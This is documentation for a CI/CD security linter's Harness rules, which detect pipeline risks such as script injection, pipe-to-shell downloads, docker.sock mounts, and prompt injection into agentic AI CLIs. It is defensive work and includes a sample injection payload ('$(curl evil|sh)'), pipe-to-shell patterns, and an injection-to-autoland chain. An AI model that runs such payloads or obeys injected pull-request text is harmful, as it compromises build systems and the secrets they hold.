Harness CI/CD provider
Parses Harness pipeline YAML (the Git Experience / pipeline-as-code
form) on disk. Harness has no canonical filename, so the loader globs
*.yml / *.yaml and keeps the documents whose top-level key is
pipeline: (its discriminator); a template: document or
unrelated YAML in the same directory is skipped. A pipeline nests
steps several levels deep (stages -> stage.spec.execution.steps
-> step / parallel / stepGroup); the rule pack flattens
all of that and scans every leaf step across CI and CD stages.
Producer workflow
# --harness-path is auto-detected when a .harness/ directory exists at cwd.
pipeline_check --pipeline harness
# ...or pass it explicitly (a file or a directory of pipelines).
pipeline_check --pipeline harness --harness-path .harness/
pipeline_check --pipeline harness --harness-path pipelines/build.yaml
All other flags (--output, --severity-threshold, --checks,
--standard, ...) behave the same as with the other providers.
Harness-specific checks
- HARNESS-002, Harness substitutes a
<+...>expression's text into a stepcommandbefore the shell runs it, so an attacker-controllable expression (<+codebase.prTitle>,<+codebase.commitMessage>, a branch / tag name, or any<+trigger.*>/<+eventPayload.*>value) is a command-injection primitive.<+codebase.commitSha>/<+codebase.repoUrl>are excluded (not injectable text). Bind the value to anenvVariablesentry and quote it ("$PR_TITLE") to clear the finding. Same model as GHA-002 / GL-002 / DR-003 in this catalog.
What it covers
19 checks · 3 have an autofix patch (--fix).
| Check | Title | Severity | Fix |
|---|---|---|---|
| HARNESS-001 | Step image not pinned to a digest | HIGH | |
| HARNESS-002 | Untrusted Harness expression interpolated into a step command | HIGH | |
| HARNESS-003 | Step runs with privileged: true | HIGH | |
| HARNESS-004 | Literal credential in a pipeline / stage variable | CRITICAL | 🔧 fix |
| HARNESS-005 | Step pipes a remote download into a shell interpreter | HIGH | 🔧 fix |
| HARNESS-006 | TLS verification disabled in step commands | HIGH | 🔧 fix |
| HARNESS-007 | Stage infrastructure mounts a sensitive host path | HIGH | |
| HARNESS-008 | Untrusted context reaches an agentic AI CLI (prompt injection) | HIGH | |
| HARNESS-009 | Agentic CLI output lands without human review | HIGH | |
| HARNESS-010 | ML model loaded with trust_remote_code (code execution) | HIGH | |
| HARNESS-011 | Unsafe deserialization of a fetched artifact (pickle RCE) | HIGH | |
| HARNESS-012 | AI model pulled without a pinned revision | MEDIUM | |
| HARNESS-013 | Secret-named variable echoed / printed in a step command | HIGH | |
| HARNESS-014 | Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | |
| HARNESS-015 | Artifacts not signed (no cosign/sigstore step) | MEDIUM | |
| HARNESS-016 | No SBOM produced (no syft / cyclonedx step) | MEDIUM | |
| HARNESS-017 | No SLSA provenance attestation produced | MEDIUM | |
| HARNESS-018 | No vulnerability-scan step (trivy / grype / snyk) | MEDIUM | |
| HARNESS-019 | Pipeline step lacks an explicit timeout | LOW |
HARNESS-001: Step image not pinned to a digest
Detection mirrors the DR-001 / GL-001 / CC-003 family over Harness's nested step model: every Run / Plugin / Background (and any custom) step that declares a spec.image whose ref does not end in @sha256:<64 hex> fires, across CI and CD stages and through parallel / stepGroup nesting. Steps with no spec.image (built-in steps like BuildAndPushDockerRegistry / RestoreCacheS3) pass-by-default. :latest and missing-tag refs emit the strongest message; a version tag (node:18.19.0) still fires but is a one-line digest swap.
Known false-positive modes
- An image built earlier in the same pipeline and referenced by a deliberately-floating internal tag can't always be digest-pinned. Suppress via an ignore-file scoped to that step; the floating-tag risk still applies to every public-registry pull.
Recommended action
Pin every step image: to @sha256:<digest>. Harness resolves the image ref at run time, so a tag like node:18 resolves against whatever the registry currently serves, and a compromised registry (or a moved tag) can swap content under a fixed tag. Capture the digest once with crane digest node:18 (or docker buildx imagetools inspect node:18) and bump it deliberately when the upstream version moves.
HARNESS-002: Untrusted Harness expression interpolated into a step command
The Harness analog of GHA-002 / GL-002 script injection. Fires when a step's spec.command text contains a <+...> expression that resolves to outside-contributor input: the codebase identity / ref / title / message fields (gitUser, branch, sourceBranch, targetBranch, tag, prTitle, commitMessage, ...) or the whole trigger. / eventPayload. webhook context. <+codebase.commitSha> / <+codebase.repoUrl> are excluded (not injectable text). Detection is purely on the expression namespace, so it does not depend on the trigger type; binding the value to an env var and quoting it clears the finding.
Recommended action
Never paste an attacker-controllable Harness expression (<+codebase.prTitle>, <+codebase.commitMessage>, a branch / tag name, or any <+trigger.*> / <+eventPayload.*> value) straight into a Run step command. Harness substitutes the expression's text into the script before the shell runs it, so a pull request titled $(curl evil|sh) executes on your runner. Pass the value through an environment variable instead (envVariables: { PR_TITLE: <+codebase.prTitle> } then use "$PR_TITLE" quoted in the script), which makes the shell treat it as data, not code.
HARNESS-003: Step runs with privileged: true
Harness CI Run / Background steps accept a spec.privileged: true flag that maps to docker run --privileged on the build pod / VM. The rule fires on any step (across CI and CD stages, through parallel / stepGroup nesting) whose spec.privileged is truthy. Same model as DR-002 / BK-006 in this catalog.
Recommended action
Drop privileged: true from the step. The flag removes the container's syscall and capability boundary, giving the step kernel-level access to the build host. Most workloads that reach for it are Docker-in-Docker builds that can use a rootless alternative (kaniko, buildah --isolation=chroot, BuildKit rootless) instead. If a genuine syscall is needed, scope it down with explicit added capabilities on an isolated build-infra pool rather than blanket privileged mode.
HARNESS-004: Literal credential in a pipeline / stage variable
Fires on a pipeline-level or stage-level variables: entry whose value is a credential-shaped literal (matched by the shared secret-shape catalog, find_secret_values) rather than a <+secrets.getValue(...)> expression. type: Secret variables and any <+...> expression value are skipped (those are managed references, not literals); empty values are ignored. The value is redacted in the finding. Same value-shape model as the literal-secret rules across the other providers (DR-004 / BK-002 / TKN-005).
Recommended action
Move the credential into a Harness secret and reference it as an expression instead of a literal: declare the variable with type: Secret and a value of <+secrets.getValue("my_secret")> (or store it in the built-in / a connected secret manager). Harness masks secret-expression values in logs but does not mask a literal pasted into a type: String variable, so the token ends up in the pipeline definition and the run logs indefinitely. Rotate any credential already committed this way.
HARNESS-005: Step pipes a remote download into a shell interpreter
Walks every step's spec.command text and fires on the canonical pipe-to-shell shapes (curl ... | sh / | bash, wget ... -O - | sh, fetch ... | sh), allowing arbitrary intermediate flags so curl -fsSL <url> | sh -s -- --foo still matches. The download-then-execute form (curl <url> -o f && sh f) is NOT caught: the file lands on disk first, leaving room for a checksum-verify step. Same model as DR-014 / GHA-016 / BK-017 / TKN-008 across providers.
Known false-positive modes
- Some vendor install scripts (rustup, nvm) ship pipe-to-shell as the canonical path. The rule fires anyway, since upstream reputation doesn't remove the MITM / compromised-domain risk. Suppress per step with a rationale naming the upstream.
Seen in the wild
- Codecov bash uploader (April 2021): downstream builds using
curl -fsSL https://codecov.io/bash | bashshipped a tampered uploader for two months. https://about.codecov.io/security-update/
Recommended action
Replace every curl ... | sh / wget ... | bash pattern in a Run step command with a download-verify-execute flow: download the artifact to disk (curl -fsSL -o installer.sh <url>), verify a known-good checksum against the file (echo "<sha256> installer.sh" | sha256sum -c -), and only then run it (sh installer.sh). The pipe-to-shell pattern executes whatever bytes the URL serves at run time with the step container's privileges and secrets, so a network MITM, a compromised mirror, or a brief upstream takeover injects arbitrary code into the build with no verification step.
HARNESS-006: TLS verification disabled in step commands
Reuses the cross-provider _primitives.tls_bypass detector shared with DR-006 / GHA-027 / BK-008 / JF-022 / ADO-026 / CC-024 / GCB-011 and the IaC packs (covers curl / wget / git / npm / yarn / pip / helm / kubectl / ssh / docker / maven / gradle / aws bypasses). The rule scans every step's spec.command text across CI and CD stages, through parallel / stepGroup nesting.
Recommended action
Remove TLS-bypass flags from the step command. The common offenders are curl --insecure / -k, wget --no-check-certificate, pip config set global.trusted-host, npm config set strict-ssl false, and git -c http.sslVerify=false. Each exposes the build to a TLS-MITM injection of a registry-served payload, a textbook supply-chain vector. If a registry's certificate is genuinely broken, install the missing CA into the build image and fix the registry rather than disabling verification, which tends to outlive the broken cert and become a permanent weakness.
HARNESS-007: Stage infrastructure mounts a sensitive host path
Harness CI Kubernetes infrastructure (stage.spec.infrastructure.spec.volumes) accepts EmptyDir / PersistentVolumeClaim (safe) or HostPath (a bind mount of the build node's filesystem, the dangerous shape). The rule fires when a HostPath volume's spec.path matches a sensitive prefix: /var/run/docker.sock (the canonical container-escape socket), /var/lib/docker, /var/run, /etc, /proc, /sys, or / (full host root). EmptyDir / PVC volumes pass. Same model as DR-007 / K8S-019 across providers.
Known false-positive modes
- Trusted-only pipelines on a dedicated, isolated build cluster sometimes deliberately mount the Docker socket for image build / push. Suppress via ignore-file when the cluster's isolation is documented; the rule can't see the cluster's trust boundary from the pipeline YAML alone.
Recommended action
Drop the HostPath volume from the stage infrastructure. Mounting /var/run/docker.sock from the build node into the build pod hands it root-equivalent control over every other workload on that node (it can launch arbitrary, including privileged, containers). /var/lib/docker exposes every image and container on the node, /proc and /sys expose host kernel state, and / is full host takeover. If the build genuinely needs container builds, use a rootless builder (kaniko, buildah --isolation=chroot, BuildKit rootless) or a remote builder, rather than bind-mounting the node's filesystem.
HARNESS-008: Untrusted context reaches an agentic AI CLI (prompt injection)
The AI analog of HARNESS-002 (shell injection). Fires when a step spec.command invokes an agentic CLI (claude / gemini / cursor-agent / aider / openhands / goose / q chat) AND an attacker-controllable <+...> expression reaches it (the codebase identity / ref / title / message fields or the whole trigger. / eventPayload. webhook context; the same taint set as HARNESS-002, <+codebase.commitSha> / <+codebase.repoUrl> excluded). Separate from HARNESS-002 because an LLM ingests the value as prompt text regardless of shell quoting / env-var binding, so the shell-injection mitigation does not apply.
Recommended action
Do not place attacker-controllable Harness context (<+codebase.prTitle>, <+codebase.commitMessage>, a branch / tag name, or any <+trigger.*> / <+eventPayload.*> value) in an agentic CLI's prompt. Binding the value to an env var does NOT sanitize a prompt the way it does a shell command, the model still reads it. If the agent must see PR content, run it in a stage with no secrets bound and no tool / shell access, and treat its output as untrusted.
HARNESS-009: Agentic CLI output lands without human review
Fires when one pipeline both invokes an agentic CLI (claude / gemini / cursor-agent / aider / openhands / goose / q chat) in a step command and, in the same pipeline, lands the result with a git push (the Harness idiom for committing straight to a branch). Coupling is pipeline-level because the stages of one Harness pipeline share the cloned codebase. Does NOT fire when the agent only opens a pull request for review, nor on a push step that runs no agent. A git push --dry-run is ignored. The Harness analog of GHA-123 / GL-049 / BB-039 / ADO-038 / JF-038; with HARNESS-008 it composes the AC-040 injection -> autoland chain.
Recommended action
Don't let an agentic CLI's output reach a branch without a human review gate. Have the agent open a normal pull request (no auto-merge) so a person reviews the diff before it lands, and don't pair the agent with a git push straight to a branch in the same pipeline. If the agent's prompt can be influenced by untrusted input (a PR title / branch, a <+trigger.*> value), treat the committed result as attacker-controlled (HARNESS-008).
HARNESS-010: ML model loaded with trust_remote_code (code execution)
Fires on trust_remote_code=True / --trust-remote-code in a step command (the shared model_trust detector, with GHA-120 / GL-045 / BB-035 / ADO-034). The transformers / huggingface_hub loader executes the model repo's own Python at load time, so an untrusted or unpinned model is arbitrary code execution in the pipeline with the run's secrets and connectors in scope.
Recommended action
Load models with trust_remote_code=False (the library default). If a model genuinely needs custom code, vet it and pin an exact revision (a commit SHA, not a tag or branch), run the load in an isolated stage with no production secrets, and prefer safetensors weights over pickle.
HARNESS-011: Unsafe deserialization of a fetched artifact (pickle RCE)
Reuses the shared unsafe_deser detector (with GHA-122 / GL-047 / BB-037 / ADO-036) over each step's command. Fires in two shapes: (A) an explicit unsafe opt-in (weights_only=False on a load, or allow_pickle=True on numpy.load), always; and (B) a remote fetch (curl / wget / hf_hub_download / snapshot_download / huggingface-cli download / requests.get / urlretrieve) together with a pickle-backed loader (torch.load / pickle.load(s) / joblib.load) in the same step, with no safe path (weights_only=True / safetensors). A bare local unpickle with no fetch does not fire.
Recommended action
Don't deserialize a downloaded artifact through pickle. Load weights with safetensors, or pass weights_only=True to torch.load (the PyTorch 2.6+ default) so only tensors, not arbitrary Python, are unpickled. Drop allow_pickle=True from numpy.load. If a pickle / joblib artifact is unavoidable, pin and verify its source (a pinned revision, a checksum, a signature) and load it in an isolated stage with no production secrets.
HARNESS-012: AI model pulled without a pinned revision
Fires on a step command that fetches a model by a mutable registry reference and supplies no revision pin (the shared model_ref detector, with GHA-121 / GL-046 / BB-038 / ADO-037). Detected fetch forms: from_pretrained("org/model"), hf_hub_download / snapshot_download with a org/model repo id, and huggingface-cli download org/model / hf download org/model.
Does NOT fire when a revision is pinned in the same step (revision='<sha>' / --revision <sha>), when the reference is a local path (./model, /models/x) or a variable / <+...> expression (the value can't be judged statically), or on a bare single-segment canonical hub name (bert-base-uncased) that has no org/ namespace, since those are first-party and the org-scoped third-party models are the higher-risk surface.
Known false-positive modes
- A team that re-pulls its own org's model on every run may treat the latest revision as intentional. The right fix is still to pin the revision (it makes an upstream compromise visible); if a rolling pull is genuinely wanted, suppress on the specific step with a rationale naming the model and who controls it.
Recommended action
Pin the model to an immutable revision. Pass an exact commit revision= to from_pretrained / hf_hub_download / snapshot_download (a 40-char commit SHA, not a branch or a tag, both of which the owner can move), or --revision <sha> to huggingface-cli download. A pinned revision is what makes a swapped-weights or swapped-loader-code attack show up as a diff in your repo instead of silently landing on the next build. Pair with trust_remote_code=False (HARNESS-010) and prefer safetensors weights over pickle.
HARNESS-013: Secret-named variable echoed / printed in a step command
Scans every step command for a secret-named variable handed to echo / printf / cat / tee, for an env / printenv dump, and for set -x with a secret-named variable in scope (the shared log_leak detector, with GHA-033 / GL-036 / BB-032 / ADO-031 / CC-032 / JF-042). Variable names matching common secret patterns (PASSWORD / TOKEN / SECRET / API_KEY / CREDENTIAL) trigger the rule. The Harness analog of GL-036 / CC-032.
Recommended action
Don't print secret values in step commands. Harness masks resolved <+secrets.getValue(...)> values in the log, but only the exact resolved string. Encoded, truncated, or derived forms bypass the mask, and set -x / env / printenv dump the raw value before masking can catch it. Log a boolean instead ([ -n "$TOKEN" ] && echo set || echo unset), and avoid set -x while a credential variable is in scope.
HARNESS-014: Dangerous shell idiom (eval, sh -c variable, backtick exec)
Complements HARNESS-002 (untrusted <+codebase.*> / <+trigger.*> expression in a step command). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted, because the idiom hands a value full shell-grammar reach. Uses the shared _primitives.shell_eval detector over each step command. The Harness analog of GHA-028 / GL-026 / BB-026 / ADO-027 / CC-027 / BK-016 / DR-017.
Known false-positive modes
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Recommended action
Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.
HARNESS-015: Artifacts not signed (no cosign/sigstore step)
Detection mirrors GHA-006 / BK-009 / CC-006 / TKN-009 / DR-019, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Harness analog of BK-009 / TKN-009.
Recommended action
Add a signing step after the build: install cosign in the step image and call cosign sign --yes <repo>@sha256:<digest> so a re-pushed tag can't bypass the signature. Publish the signature alongside the artifact and verify it at consumption time.
HARNESS-016: No SBOM produced (no syft / cyclonedx step)
Detection mirrors GHA-007 / BK-010 / CC-007 / TKN-010 / DR-020, the shared SBOM-token catalog (syft, cyclonedx, spdx, bom, trivy sbom) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Harness analog of BK-010 / TKN-010.
Recommended action
Generate a Software Bill of Materials as part of the build: run syft <image> -o cyclonedx-json (or cyclonedx / spdx tooling) and publish it alongside the artifact, so consumers can audit the components and respond to new CVEs without rebuilding. Harness also offers a built-in SBOM Orchestration step.
HARNESS-017: No SLSA provenance attestation produced
Detection mirrors GHA-024 / BK-011 / CC-024 / TKN-011 / DR-021, the shared provenance-token catalog (slsa, provenance, in-toto, attestation, cosign attest) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / etc.) so lint / test-only pipelines don't trip it. The Harness analog of BK-011 / TKN-011.
Recommended action
Emit a signed SLSA provenance attestation for the build: use cosign attest --predicate with an in-toto / SLSA predicate, or Harness's built-in SLSA provenance / attestation step, so a verifier can confirm which pipeline and source revision produced the artifact.
HARNESS-018: No vulnerability-scan step (trivy / grype / snyk)
Detection mirrors GHA-020 / BK-012 / CC-020 / TKN-012 / DR-022, the shared scanner-token catalog (trivy, grype, snyk, clair, npm audit, pip-audit, etc.) is searched across every string in the pipeline document. Fires on any pipeline that runs no scanner (the build ships without a CVE signal). The Harness analog of BK-012 / TKN-012.
Recommended action
Add a vulnerability-scan step to the build: trivy, grype, snyk, npm audit, or pip-audit over the image or dependency tree (or a Harness Security Testing Orchestration step), and fail the build on findings above your threshold so known CVEs don't ship to production silently.
HARNESS-019: Pipeline step lacks an explicit timeout
Harness timeout is a string duration (10m, 1h30m) that sits beside spec on a step and on a stage. The rule walks every step (across CI and CD stages, through parallel / stepGroup nesting) and flags a step that carries no timeout of its own and whose enclosing stage carries none either, since a stage-level timeout bounds all of its steps. A runtime input (<+input>) counts as set. A best-practice / missing-control rule (LOW, dropped by --no-best-practice); the Harness analog of TKN-006 / GHA-015 / GCB-005.
Recommended action
Set an explicit timeout on every step, or on the enclosing stage to bound all of its steps at once: timeout: 10m / timeout: 1h. Without one a hung step falls back to Harness's default and can pin a build VM / delegate far longer than the job needs, wasting capacity and delaying the queue. For genuinely long jobs set a generous explicit value (2h, 6h) rather than leaving it implicit.
Adding a new Harness CI/CD check
- Create a new module at
pipeline_check/core/checks/harness/rules/NNN_<name>.pyexporting a top-levelRULE = Rule(...)and acheck(path, doc) -> Findingfunction. The orchestrator auto-discoversRULEand callscheckwith the parsed YAML document. - Add a mapping for the new ID in
pipeline_check/core/standards/data/owasp_cicd_top_10.py(and any other standard that applies). - Drop unsafe/safe snippets at
tests/fixtures/per_check/harness/-NNN.{unsafe,safe}.ymland add aCheckCaseentry intests/test_per_check_real_examples.py::CASES. - Regenerate this doc: